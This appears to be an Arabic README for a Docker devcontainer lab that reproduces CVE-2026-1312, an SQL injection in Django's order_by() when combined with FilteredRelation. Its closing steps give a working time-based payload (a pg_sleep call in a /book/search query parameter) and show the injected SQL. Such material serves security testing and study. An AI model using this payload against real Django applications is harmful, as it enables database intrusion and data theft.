
يعيد إنتاج CVE-2026-1312، وهي ثغرة حقن SQL في Django، مع بيئة معزولة عبر Docker وخطوات PoC تفصيلية لاختبار الأمان.
CVE-2026-1312 هو ثغرة أمنية عالية الخطورة من نوع حقن SQL في Django: عند استخدام أسماء أعمدة مستعارة تحتوي على نقاط في QuerySet.order_by()، مع استخدام FilteredRelation لبناء الاستعلام ديناميكيًا عبر توسيع قاموس، قد يتمكن المهاجم من حقن SQL خبيث
الإصدارات المتأثرة:
يستخدم هذا المشروع الثغري حاوية devcontainer الخاصة بـ vscode للبناء
1️⃣ فتح المشروع افتح جذر المشروع الموجود (الذي يحتوي على مجلد .devcontainer) باستخدام VS Code.
2️⃣ إعادة فتح الحاوية (بناء Dev Container)
اضغط Ctrl+Shift+P (ويندوز/لينكس) أو Cmd+Shift+P (ماك)
اكتب Remote-Containers: Reopen in Container
سيقرأ VS Code إعدادات .devcontainer ويبني الحاوية (قد يستغرق البناء الأول عدة دقائق)
⚠️ إذا تم تحديث Dockerfile أو التبعيات، يمكنك اختيار Remote-Containers: Rebuild Container لضمان استخدام أحدث بيئة.
3️⃣ تشغيل خادم تطوير Django
افتح لوحة الأوامر Ctrl+Shift+P
اكتب Tasks: Run Task
اختر django:start (تم تكوين المهمة في .vscode/tasks.json)
ستقوم هذه المهمة بتشغيل خادم تطوير Django داخل الحاوية
يستمع افتراضيًا على 0.0.0.0:8086
4️⃣ افتح المتصفح للوصول إلى المشروع
افتح المتصفح وقم بزيارة:
5️⃣ ملاحظات
أول تشغيل:
قد تحتاج إلى تنفيذ ترحيل قاعدة البيانات:
python manage.py migrate
قم بزيارة واجهة /book/search، http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
ستلاحظ نجاح التأخير لمدة 3 ثوانٍ
في هذا الوقت، يكون SQL الذي تم تجميعه بواسطة ORM الخاص بـ django في الطبقة السفلية هو
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC